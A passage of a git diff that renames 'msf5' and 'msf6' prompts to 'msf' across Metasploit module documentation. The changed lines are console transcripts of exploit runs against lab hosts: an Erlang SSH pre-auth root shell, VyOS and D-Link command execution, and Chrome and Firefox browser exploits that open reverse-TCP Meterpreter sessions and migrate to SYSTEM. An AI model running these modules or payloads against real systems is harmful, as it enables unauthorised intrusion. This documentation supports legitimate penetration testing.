CVE-2025-32433 +[+] 192.168.0.1:2222 - Received banner: SSH-2.0-Erlang/5.1.4.7 +[*] 192.168.0.1:2222 - Sending SSH_MSG_KEXINIT... +[*] 192.168.0.1:2222 - Sending SSH_MSG_CHANNEL_OPEN... +[*] 192.168.0.1:2222 - Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)... +[+] 192.168.0.1:2222 - Payload sent successfully +[*] Command shell session 1 opened (192.168.0.1:4444 -> 172.17.0.2:59042) at 2025-04-27 20:24:41 +0400 + +whoami +root +``` + +## References + +1. +2. +3. diff --git a/documentation/modules/exploit/linux/ssh/vmware_vrni_known_privkey.md b/documentation/modules/exploit/linux/ssh/vmware_vrni_known_privkey.md index 4226b721e5a62..2193c63933238 100644 --- a/documentation/modules/exploit/linux/ssh/vmware_vrni_known_privkey.md +++ b/documentation/modules/exploit/linux/ssh/vmware_vrni_known_privkey.md @@ -56,15 +56,15 @@ Stop SSH login attempts after the first session is obtained. Defaults to `true` ### Emulated user on Kali Linux ``` -msf6 > use exploit/linux/ssh/vmware_vrni_known_privkey +msf > use exploit/linux/ssh/vmware_vrni_known_privkey [*] Using configured payload cmd/unix/interact -msf6 exploit(linux/ssh/vmware_vrni_known_privkey) > set rhosts 127.0.0.1 +msf exploit(linux/ssh/vmware_vrni_known_privkey) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 exploit(linux/ssh/vmware_vrni_known_privkey) > set verbose true +msf exploit(linux/ssh/vmware_vrni_known_privkey) > set verbose true verbose => true -msf6 exploit(linux/ssh/vmware_vrni_known_privkey) > set stop_on_success false +msf exploit(linux/ssh/vmware_vrni_known_privkey) > set stop_on_success false stop_on_success => false -msf6 exploit(linux/ssh/vmware_vrni_known_privkey) > run +msf exploit(linux/ssh/vmware_vrni_known_privkey) > run [*] Attempting key: /root/metasploit-framework/data/exploits/CVE-2023-34039/id_rsa_vnera_keypair_6.0.0_platform [+] 127.0.0.1:22 - Successful login via support@127.0.0.1:22 and ssh key /root/metasploit-framework/data/exploits/CVE-2023-34039/id_rsa_vnera_keypair_6.0.0_platform @@ -163,15 +163,15 @@ uid=1001(support) gid=1001(support) groups=1001(support),100(users) ### vRealize 6.8.0 Platform ``` -msf6 > use exploit/linux/ssh/vmware_vrni_known_privkey +msf > use exploit/linux/ssh/vmware_vrni_known_privkey [*] Using configured payload cmd/unix/interact -msf6 exploit(linux/ssh/vmware_vrni_known_privkey) > set verbose true +msf exploit(linux/ssh/vmware_vrni_known_privkey) > set verbose true verbose => true -msf6 exploit(linux/ssh/vmware_vrni_known_privkey) > set stop_on_success false +msf exploit(linux/ssh/vmware_vrni_known_privkey) > set stop_on_success false stop_on_success => false -msf6 exploit(linux/ssh/vmware_vrni_known_privkey) > set rhosts 2.2.2.2 +msf exploit(linux/ssh/vmware_vrni_known_privkey) > set rhosts 2.2.2.2 rhosts => 2.2.2.2 -msf6 exploit(linux/ssh/vmware_vrni_known_privkey) > run +msf exploit(linux/ssh/vmware_vrni_known_privkey) > run [*] Attempting key: /root/metasploit-framework/data/exploits/CVE-2023-34039/id_rsa_vnera_keypair_6.0.0_platform [-] 2.2.2.2:22 SSH - Failed authentication diff --git a/documentation/modules/exploit/linux/ssh/vyos_restricted_shell_privesc.md b/documentation/modules/exploit/linux/ssh/vyos_restricted_shell_privesc.md index 1a4b921c4ee8a..4ea4aff885855 100644 --- a/documentation/modules/exploit/linux/ssh/vyos_restricted_shell_privesc.md +++ b/documentation/modules/exploit/linux/ssh/vyos_restricted_shell_privesc.md @@ -71,19 +71,19 @@ SSH password (default: `vyos`) ### VyOS 1.1.8 (amd64) - operator user ``` -msf6 > use exploit/linux/ssh/vyos_restricted_shell_privesc +msf > use exploit/linux/ssh/vyos_restricted_shell_privesc [*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > set rhosts 172.16.191.158 +msf exploit(linux/ssh/vyos_restricted_shell_privesc) > set rhosts 172.16.191.158 rhosts => 172.16.191.158 -msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > set username jsmith +msf exploit(linux/ssh/vyos_restricted_shell_privesc) > set username jsmith username => jsmith -msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > set password password +msf exploit(linux/ssh/vyos_restricted_shell_privesc) > set password password password => password -msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > check +msf exploit(linux/ssh/vyos_restricted_shell_privesc) > check [*] 172.16.191.158:22 - The service is running, but could not be validated. SSH service detected. -msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > set lhost 172.16.191.165 +msf exploit(linux/ssh/vyos_restricted_shell_privesc) > set lhost 172.16.191.165 lhost => 172.16.191.165 -msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > run +msf exploit(linux/ssh/vyos_restricted_shell_privesc) > run [*] Started reverse TCP handler on 172.16.191.165:4444 [*] 172.16.191.158:22 - Attempt to login to VyOS SSH ... @@ -108,19 +108,19 @@ Welcome to VyOS - \n \l ### VyOS 1.1.8 (amd64) - admin user ``` -msf6 > use exploit/linux/ssh/vyos_restricted_shell_privesc +msf > use exploit/linux/ssh/vyos_restricted_shell_privesc [*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > set rhosts 172.16.191.158 +msf exploit(linux/ssh/vyos_restricted_shell_privesc) > set rhosts 172.16.191.158 rhosts => 172.16.191.158 -msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > set username vyos +msf exploit(linux/ssh/vyos_restricted_shell_privesc) > set username vyos username => vyos -msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > set password vyos +msf exploit(linux/ssh/vyos_restricted_shell_privesc) > set password vyos password => vyos -msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > check +msf exploit(linux/ssh/vyos_restricted_shell_privesc) > check [*] 172.16.191.158:22 - The service is running, but could not be validated. SSH service detected. -msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > set lhost 172.16.191.165 +msf exploit(linux/ssh/vyos_restricted_shell_privesc) > set lhost 172.16.191.165 lhost => 172.16.191.165 -msf6 exploit(linux/ssh/vyos_restricted_shell_privesc) > run +msf exploit(linux/ssh/vyos_restricted_shell_privesc) > run [*] Started reverse TCP handler on 172.16.191.165:4444 [*] 172.16.191.158:22 - Attempt to login to VyOS SSH ... diff --git a/documentation/modules/exploit/linux/telnet/netgear_telnetenable.md b/documentation/modules/exploit/linux/telnet/netgear_telnetenable.md index df5aed382a6aa..2d4e2947dc9bd 100644 --- a/documentation/modules/exploit/linux/telnet/netgear_telnetenable.md +++ b/documentation/modules/exploit/linux/telnet/netgear_telnetenable.md @@ -82,10 +82,10 @@ You can leave this blank to use the default password. As a normal user: ``` -msf5 > use exploit/linux/telnet/netgear_telnetenable -msf5 exploit(linux/telnet/netgear_telnetenable) > set rhost 192.168.1.1 +msf > use exploit/linux/telnet/netgear_telnetenable +msf exploit(linux/telnet/netgear_telnetenable) > set rhost 192.168.1.1 rhost => 192.168.1.1 -msf5 exploit(linux/telnet/netgear_telnetenable) > ping -c 1 192.168.1.1 +msf exploit(linux/telnet/netgear_telnetenable) > ping -c 1 192.168.1.1 [*] exec: ping -c 1 192.168.1.1 PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data. @@ -94,13 +94,13 @@ PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data. --- 192.168.1.1 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 2.041/2.041/2.041/0.000 ms -msf5 exploit(linux/telnet/netgear_telnetenable) > arp -an 192.168.1.1 +msf exploit(linux/telnet/netgear_telnetenable) > arp -an 192.168.1.1 [*] exec: arp -an 192.168.1.1 ? (192.168.1.1) at [redacted] [ether] on wlan0 -msf5 exploit(linux/telnet/netgear_telnetenable) > set mac [redacted] +msf exploit(linux/telnet/netgear_telnetenable) > set mac [redacted] mac => [redacted] -msf5 exploit(linux/telnet/netgear_telnetenable) > run +msf exploit(linux/telnet/netgear_telnetenable) > run [+] 192.168.1.1:23 - Detected telnetenabled on UDP [+] 192.168.1.1:23 - Using creds admin:password @@ -125,10 +125,10 @@ Linux (none) 2.6.36.4brcmarm+ #16 SMP PREEMPT Wed Mar 22 15:02:38 CST 2017 armv7 As root: ``` -msf5 > use exploit/linux/telnet/netgear_telnetenable -msf5 exploit(linux/telnet/netgear_telnetenable) > set rhost 192.168.1.1 +msf > use exploit/linux/telnet/netgear_telnetenable +msf exploit(linux/telnet/netgear_telnetenable) > set rhost 192.168.1.1 rhost => 192.168.1.1 -rmsf5 exploit(linux/telnet/netgear_telnetenable) > run +rmsf exploit(linux/telnet/netgear_telnetenable) > run [+] 192.168.1.1:23 - Detected telnetenabled on UDP [*] 192.168.1.1:23 - Attempting to discover MAC address via ARP diff --git a/documentation/modules/exploit/linux/upnp/belkin_wemo_upnp_exec.md b/documentation/modules/exploit/linux/upnp/belkin_wemo_upnp_exec.md index 8a7bfaa7201b8..72bdcdb6effd9 100644 --- a/documentation/modules/exploit/linux/upnp/belkin_wemo_upnp_exec.md +++ b/documentation/modules/exploit/linux/upnp/belkin_wemo_upnp_exec.md @@ -29,7 +29,7 @@ for Crock-Pot and 49153 for other devices. ## Usage ``` -msf5 exploit(linux/upnp/belkin_wemo_upnp_exec) > run +msf exploit(linux/upnp/belkin_wemo_upnp_exec) > run [*] Started reverse TCP handler on 10.22.22.4:4444 [+] Wemo-enabled device detected diff --git a/documentation/modules/exploit/linux/upnp/dlink_dir859_exec_ssdpcgi.md b/documentation/modules/exploit/linux/upnp/dlink_dir859_exec_ssdpcgi.md index 9f82391e6a0d1..5155d8b6641bd 100644 --- a/documentation/modules/exploit/linux/upnp/dlink_dir859_exec_ssdpcgi.md +++ b/documentation/modules/exploit/linux/upnp/dlink_dir859_exec_ssdpcgi.md @@ -32,7 +32,7 @@ that triggers the vulnerability. ### D-link DIR-859 Firmware 1.05 ``` -msf5 exploit(linux/http/dlink_dir859_exec_ssdpcgi) > run +msf exploit(linux/http/dlink_dir859_exec_ssdpcgi) > run [*] Started reverse TCP handler on 192.168.0.2:4444 [*] Using URL: http://0.0.0.0:8080/38YWEX2 [*] Local IP: http://192.168.70.28:8080/38YWEX2 diff --git a/documentation/modules/exploit/linux/upnp/dlink_dir859_subscribe_exec.md b/documentation/modules/exploit/linux/upnp/dlink_dir859_subscribe_exec.md index 6b9c091430c2f..1b80a37db7365 100644 --- a/documentation/modules/exploit/linux/upnp/dlink_dir859_subscribe_exec.md +++ b/documentation/modules/exploit/linux/upnp/dlink_dir859_subscribe_exec.md @@ -20,7 +20,7 @@ Get a D-Link DIR-859 router (or [any of the devices/firmware versions mentioned ### D-link DIR-859 Firmware 1.05 ``` -msf5 exploit(linux/http/dlink_dir859_exec_telnet) > run +msf exploit(linux/http/dlink_dir859_exec_telnet) > run [*] Started reverse TCP handler on 192.168.0.2:4444 [*] Using URL: http://192.168.0.2:8080/r2hOQycyVvN2BP diff --git a/documentation/modules/exploit/linux/upnp/dlink_upnp_msearch_exec.md b/documentation/modules/exploit/linux/upnp/dlink_upnp_msearch_exec.md index 0046bc768822d..b34580ee83002 100644 --- a/documentation/modules/exploit/linux/upnp/dlink_upnp_msearch_exec.md +++ b/documentation/modules/exploit/linux/upnp/dlink_upnp_msearch_exec.md @@ -154,7 +154,7 @@ You are now ready to test the module using the emulated router hardware on IP ad you should get a `shell` or `Meterpreter` ```shell -msf6 exploit(linux/upnp/dlink_upnp_msearch_exec) > options +msf exploit(linux/upnp/dlink_upnp_msearch_exec) > options Module options (exploit/linux/upnp/dlink_upnp_msearch_exec): @@ -206,11 +206,11 @@ This is used to discover the d-link hardware and version information by scraping ## Scenarios ### FirmAE D-Link DIR-865L Router Emulation Unix Command - cmd/unix/bind_busybox_telnetd ```shell -msf6 exploit(linux/upnp/dlink_upnp_msearch_exec) > check +msf exploit(linux/upnp/dlink_upnp_msearch_exec) > check [*] Checking if 192.168.0.1:1900 can be exploited. [*] 192.168.0.1:1900 - The target appears to be vulnerable. Product info: DIR-865L|1.07|A1|mipsle -msf6 exploit(linux/upnp/dlink_upnp_msearch_exec) > exploit +msf exploit(linux/upnp/dlink_upnp_msearch_exec) > exploit [*] Running automatic check ("set AutoCheck false" to disable) [*] Checking if 192.168.0.1:1900 can be exploited. @@ -232,13 +232,13 @@ dlinkrouter ``` ### FirmAE D-Link DIR-865L Router Emulation Linux Dropper - linux/mipsle/meterpreter_reverse_tcp ```shell -msf6 exploit(linux/upnp/dlink_upnp_msearch_exec) > set target 1 +msf exploit(linux/upnp/dlink_upnp_msearch_exec) > set target 1 target => 1 -msf6 exploit(linux/upnp/dlink_upnp_msearch_exec) > set payload linux/mipsle/meterpreter_reverse_tcp +msf exploit(linux/upnp/dlink_upnp_msearch_exec) > set payload linux/mipsle/meterpreter_reverse_tcp payload => linux/mipsle/meterpreter_reverse_tcp -msf6 exploit(linux/upnp/dlink_upnp_msearch_exec) > set lhost 192.168.0.2 +msf exploit(linux/upnp/dlink_upnp_msearch_exec) > set lhost 192.168.0.2 lhost => 192.168.0.2 -msf6 exploit(linux/upnp/dlink_upnp_msearch_exec) > exploit +msf exploit(linux/upnp/dlink_upnp_msearch_exec) > exploit [*] Started reverse TCP handler on 192.168.0.2:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/browser/chrome_array_map.md b/documentation/modules/exploit/multi/browser/chrome_array_map.md index abaa37582f9fc..ef855cac9221a 100644 --- a/documentation/modules/exploit/multi/browser/chrome_array_map.md +++ b/documentation/modules/exploit/multi/browser/chrome_array_map.md @@ -32,19 +32,19 @@ Start Google Chrome without a sandbox: ```"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --no-sandbox``` ``` -msf5 > use exploit/multi/browser/chrome_array_map -msf5 exploit(multi/browser/chrome_array_map) > set SRVHOST 192.168.56.1 +msf > use exploit/multi/browser/chrome_array_map +msf exploit(multi/browser/chrome_array_map) > set SRVHOST 192.168.56.1 SRVHOST => 192.168.56.1 -msf5 exploit(multi/browser/chrome_array_map) > set URIPATH / +msf exploit(multi/browser/chrome_array_map) > set URIPATH / URIPATH => / -msf5 exploit(multi/browser/chrome_array_map) > set payload windows/x64/meterpreter/reverse_tcp +msf exploit(multi/browser/chrome_array_map) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp -msf5 exploit(multi/browser/chrome_array_map) > set LHOST 192.168.56.1 +msf exploit(multi/browser/chrome_array_map) > set LHOST 192.168.56.1 LHOST => 192.168.56.1 -msf5 exploit(multi/browser/chrome_array_map) > run +msf exploit(multi/browser/chrome_array_map) > run [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. -msf5 exploit(multi/browser/chrome_array_map) > +msf exploit(multi/browser/chrome_array_map) > [*] Started reverse TCP handler on 192.168.56.1:4444 [*] Using URL: http://192.168.56.1:8080/ [*] Server started. @@ -52,7 +52,7 @@ msf5 exploit(multi/browser/chrome_array_map) > [*] Sending stage (206403 bytes) to 192.168.56.3 [*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.3:49675) at 2020-02-29 15:07:06 +0800 -msf5 exploit(multi/browser/chrome_array_map) > sessions 1 +msf exploit(multi/browser/chrome_array_map) > sessions 1 [*] Starting interaction with 1... meterpreter > pwd diff --git a/documentation/modules/exploit/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation.md b/documentation/modules/exploit/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation.md index 75c6636470896..c331d2d41ce29 100644 --- a/documentation/modules/exploit/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation.md +++ b/documentation/modules/exploit/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation.md @@ -38,13 +38,13 @@ Start Google Chrome without a sandbox, e.g: `"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --no-sandbox` ``` -msf6 > use exploit/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation +msf > use exploit/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation [*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp -msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > set TARGET 1 +msf exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > set TARGET 1 TARGET => 1 -msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > set payload windows/x64/meterpreter/reverse_tcp +msf exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp -msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > show options +msf exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > show options Module options (exploit/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation): @@ -74,10 +74,10 @@ Exploit target: 1 Windows 10 - Google Chrome < 89.0.4389.128/90.0.4430.72 (64 bit) -msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > exploit +msf exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > exploit [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. -msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > +msf exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > [*] Started reverse TCP handler on 172.17.233.206:4444 [*] Using URL: http://0.0.0.0:8080/F6htJoKY5li [*] Local IP: http://172.17.233.206:8080/F6htJoKY5li @@ -86,7 +86,7 @@ msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > [*] Sending stage (200262 bytes) to 172.17.236.178 [*] Meterpreter session 1 opened (172.17.233.206:4444 -> 172.17.236.178:65165) at 2021-04-27 13:19:35 -0500 -msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > sessions -i 1 +msf exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getuid @@ -106,8 +106,8 @@ SeUndockPrivilege meterpreter > background [*] Backgrounding session 1... -msf6 exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > use post/windows/manage/migrate -msf6 post(windows/manage/migrate) > show options +msf exploit(multi/browser/chrome_cve_2021_21220_v8_insufficient_validation) > use post/windows/manage/migrate +msf post(windows/manage/migrate) > show options Module options (post/windows/manage/migrate): @@ -122,9 +122,9 @@ Module options (post/windows/manage/migrate): SESSION yes The session to run this module on. SPAWN true no Spawn process to migrate to. If set, notepad.exe is used. -msf6 post(windows/manage/migrate) > set SESSION 1 +msf post(windows/manage/migrate) > set SESSION 1 SESSION => 1 -msf6 post(windows/manage/migrate) > run +msf post(windows/manage/migrate) > run [*] Running module against DESKTOP-KUO5CML [*] Current server process: chrome.exe (10116) @@ -133,7 +133,7 @@ msf6 post(windows/manage/migrate) > run [*] Migrating into 8732 [+] Successfully migrated into process 8732 [*] Post module execution completed -msf6 post(windows/manage/migrate) > sessions -i 1 +msf post(windows/manage/migrate) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getpid diff --git a/documentation/modules/exploit/multi/browser/chrome_jscreate_sideeffect.md b/documentation/modules/exploit/multi/browser/chrome_jscreate_sideeffect.md index 73b1815c0c15f..c3eed392aedf6 100644 --- a/documentation/modules/exploit/multi/browser/chrome_jscreate_sideeffect.md +++ b/documentation/modules/exploit/multi/browser/chrome_jscreate_sideeffect.md @@ -34,29 +34,29 @@ Start Google Chrome without a sandbox: ```"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --no-sandbox``` ``` -msf5 > use exploit/multi/browser/chrome_jscreate_sideeffect -msf5 exploit(multi/browser/chrome_jscreate_sideeffect) > set URIPATH / +msf > use exploit/multi/browser/chrome_jscreate_sideeffect +msf exploit(multi/browser/chrome_jscreate_sideeffect) > set URIPATH / URIPATH => / -msf5 exploit(multi/browser/chrome_jscreate_sideeffect) > set SRVHOST 192.168.56.1 +msf exploit(multi/browser/chrome_jscreate_sideeffect) > set SRVHOST 192.168.56.1 SRVHOST => 192.168.56.1 -msf5 exploit(multi/browser/chrome_jscreate_sideeffect) > set PAYLOAD windows/x64/meterpreter/reverse_tcp +msf exploit(multi/browser/chrome_jscreate_sideeffect) > set PAYLOAD windows/x64/meterpreter/reverse_tcp PAYLOAD => windows/x64/meterpreter/reverse_tcp -msf5 exploit(multi/browser/chrome_jscreate_sideeffect) > set LHOST 192.168.56.1 +msf exploit(multi/browser/chrome_jscreate_sideeffect) > set LHOST 192.168.56.1 LHOST => 192.168.56.1 -msf5 exploit(multi/browser/chrome_jscreate_sideeffect) > exploit +msf exploit(multi/browser/chrome_jscreate_sideeffect) > exploit [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. -msf5 exploit(multi/browser/chrome_jscreate_sideeffect) > +msf exploit(multi/browser/chrome_jscreate_sideeffect) > [*] Started reverse TCP handler on 192.168.56.1:4444 [*] Using URL: http://192.168.56.1:8080/ [*] Server started. -msf5 exploit(multi/browser/chrome_jscreate_sideeffect) > +msf exploit(multi/browser/chrome_jscreate_sideeffect) > [*] 192.168.56.3 chrome_jscreate_sideeffect - Sending / to Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 [*] Sending stage (206403 bytes) to 192.168.56.3 [*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.3:49677) at 2020-03-04 21:22:38 +0800 -msf5 exploit(multi/browser/chrome_jscreate_sideeffect) > sessions 1 +msf exploit(multi/browser/chrome_jscreate_sideeffect) > sessions 1 [*] Starting interaction with 1... meterpreter > pwd diff --git a/documentation/modules/exploit/multi/browser/chrome_object_create.md b/documentation/modules/exploit/multi/browser/chrome_object_create.md index e9848fe2ae7f4..c895cfa4b7268 100755 --- a/documentation/modules/exploit/multi/browser/chrome_object_create.md +++ b/documentation/modules/exploit/multi/browser/chrome_object_create.md @@ -53,19 +53,19 @@ Start Google Chrome without a sandbox: `"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --no-sandbox` ``` -msf5 > use exploit/multi/browser/chrome_object_create -msf5 exploit(multi/browser/chrome_object_create) > set SRVHOST 192.168.56.1 +msf > use exploit/multi/browser/chrome_object_create +msf exploit(multi/browser/chrome_object_create) > set SRVHOST 192.168.56.1 SRVHOST => 192.168.56.1 -msf5 exploit(multi/browser/chrome_object_create) > set URIPATH / +msf exploit(multi/browser/chrome_object_create) > set URIPATH / URIPATH => / -msf5 exploit(multi/browser/chrome_object_create) > set payload windows/x64/meterpreter/reverse_tcp +msf exploit(multi/browser/chrome_object_create) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp -msf5 exploit(multi/browser/chrome_object_create) > set LHOST 192.168.56.1 +msf exploit(multi/browser/chrome_object_create) > set LHOST 192.168.56.1 LHOST => 192.168.56.1 -msf5 exploit(multi/browser/chrome_object_create) > run +msf exploit(multi/browser/chrome_object_create) > run [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. -msf5 exploit(multi/browser/chrome_object_create) > +msf exploit(multi/browser/chrome_object_create) > [*] Started reverse TCP handler on 192.168.56.1:4444 [*] Using URL: http://192.168.56.1:8080/ [*] Server started. @@ -73,7 +73,7 @@ msf5 exploit(multi/browser/chrome_object_create) > [*] Sending stage (206403 bytes) to 192.168.56.3 [*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.3:49682) at 2020-02-29 14:29:06 +0800 -msf5 exploit(multi/browser/chrome_object_create) > sessions 1 +msf exploit(multi/browser/chrome_object_create) > sessions 1 [*] Starting interaction with 1... meterpreter > pwd @@ -87,22 +87,22 @@ meterpreter > ``` -msf6 > use exploit/multi/browser/chrome_object_create +msf > use exploit/multi/browser/chrome_object_create [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp -msf6 exploit(multi/browser/chrome_object_create) > set target 1 +msf exploit(multi/browser/chrome_object_create) > set target 1 target => 1 -msf6 exploit(multi/browser/chrome_object_create) > set payload windows/x64/meterpreter/reverse_tcp +msf exploit(multi/browser/chrome_object_create) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp -msf6 exploit(multi/browser/chrome_object_create) > set URIPATH / +msf exploit(multi/browser/chrome_object_create) > set URIPATH / URIPATH => / -msf6 exploit(multi/browser/chrome_object_create) > set LHOST 192.168.56.1 +msf exploit(multi/browser/chrome_object_create) > set LHOST 192.168.56.1 LHOST => 192.168.56.1 -msf6 exploit(multi/browser/chrome_object_create) > set SRVHOST 192.168.56.1 +msf exploit(multi/browser/chrome_object_create) > set SRVHOST 192.168.56.1 SRVHOST => 192.168.56.1 -msf6 exploit(multi/browser/chrome_object_create) > run +msf exploit(multi/browser/chrome_object_create) > run [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. -msf6 exploit(multi/browser/chrome_object_create) > +msf exploit(multi/browser/chrome_object_create) > [*] Started reverse TCP handler on 192.168.56.1:4444 [*] Using URL: http://192.168.56.1:8080/ [*] Server started. @@ -119,7 +119,7 @@ msf6 exploit(multi/browser/chrome_object_create) > [*] Trying services.exe (480) [+] Successfully migrated to services.exe (480) as: NT AUTHORITY\SYSTEM -msf6 exploit(multi/browser/chrome_object_create) > sessions +msf exploit(multi/browser/chrome_object_create) > sessions Active sessions =============== diff --git a/documentation/modules/exploit/multi/browser/chrome_simplifiedlowering_overflow.md b/documentation/modules/exploit/multi/browser/chrome_simplifiedlowering_overflow.md index 631bb6c20d9f8..09b1ae6b2e332 100644 --- a/documentation/modules/exploit/multi/browser/chrome_simplifiedlowering_overflow.md +++ b/documentation/modules/exploit/multi/browser/chrome_simplifiedlowering_overflow.md @@ -37,29 +37,29 @@ Start Google Chrome without a sandbox, e.g: `"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --no-sandbox` ``` -msf5 > use exploit/multi/browser/chrome_simplifiedlowering_overflow +msf > use exploit/multi/browser/chrome_simplifiedlowering_overflow [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp -msf5 exploit(multi/browser/chrome_simplifiedlowering_overflow) > set srvport 80 +msf exploit(multi/browser/chrome_simplifiedlowering_overflow) > set srvport 80 srvport => 80 -msf5 exploit(multi/browser/chrome_simplifiedlowering_overflow) > set uripath / +msf exploit(multi/browser/chrome_simplifiedlowering_overflow) > set uripath / uripath => / -msf5 exploit(multi/browser/chrome_simplifiedlowering_overflow) > set srvhost 127.0.0.1 +msf exploit(multi/browser/chrome_simplifiedlowering_overflow) > set srvhost 127.0.0.1 srvhost => 127.0.0.1 -msf5 exploit(multi/browser/chrome_simplifiedlowering_overflow) > set lhost 127.0.0.1 +msf exploit(multi/browser/chrome_simplifiedlowering_overflow) > set lhost 127.0.0.1 lhost => 127.0.0.1 -msf5 exploit(multi/browser/chrome_simplifiedlowering_overflow) > run +msf exploit(multi/browser/chrome_simplifiedlowering_overflow) > run [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress? [*] Started reverse TCP handler on 127.0.0.1:4444 -msf5 exploit(multi/browser/chrome) > [*] Using URL: http://127.0.0.1:80/ +msf exploit(multi/browser/chrome) > [*] Using URL: http://127.0.0.1:80/ [*] Server started. [*] 127.0.0.1 chrome_simplifiedlowering_overflow - Sending /index.html to Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36 [*] Sending stage (3012516 bytes) to 127.0.0.1 [*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:44046) at 2021-04-06 16:33:05 +0530 -msf5 exploit(multi/browser/chrome_simplifiedlowering_overflow) > sessions -i 1 +msf exploit(multi/browser/chrome_simplifiedlowering_overflow) > sessions -i 1 [*] Starting interaction with 1... meterpreter > diff --git a/documentation/modules/exploit/multi/browser/firefox_jit_use_after_free.md b/documentation/modules/exploit/multi/browser/firefox_jit_use_after_free.md index 5dfb22bc1fad9..7bcf48d2a76f1 100644 --- a/documentation/modules/exploit/multi/browser/firefox_jit_use_after_free.md +++ b/documentation/modules/exploit/multi/browser/firefox_jit_use_after_free.md @@ -59,17 +59,17 @@ set MOZ_DISABLE_CONTENT_SANDBOX=1 ``` -msf6 > use exploit/multi/browser/firefox_jit_use_after_free +msf > use exploit/multi/browser/firefox_jit_use_after_free [*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp -msf6 exploit(multi/browser/firefox_jit_use_after_free) > set payload windows/x64/meterpreter/reverse_tcp +msf exploit(multi/browser/firefox_jit_use_after_free) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp -msf6 exploit(multi/browser/firefox_jit_use_after_free) > set URIPATH / +msf exploit(multi/browser/firefox_jit_use_after_free) > set URIPATH / URIPATH => / -msf6 exploit(multi/browser/firefox_jit_use_after_free) > set SRVHOST 192.168.56.1 +msf exploit(multi/browser/firefox_jit_use_after_free) > set SRVHOST 192.168.56.1 SRVHOST => 192.168.56.1 -msf6 exploit(multi/browser/firefox_jit_use_after_free) > set LHOST 192.168.56.1 +msf exploit(multi/browser/firefox_jit_use_after_free) > set LHOST 192.168.56.1 LHOST => 192.168.56.1 -msf6 exploit(multi/browser/firefox_jit_use_after_free) > +msf exploit(multi/browser/firefox_jit_use_after_free) > [*] Started reverse TCP handler on 192.168.56.1:4444 [*] Using URL: http://192.168.56.1:8080/ [*] Server started. @@ -85,20 +85,20 @@ Start Firefox without a sandbox, e.g: `MOZ_DISABLE_CONTENT_SANDBOX=1 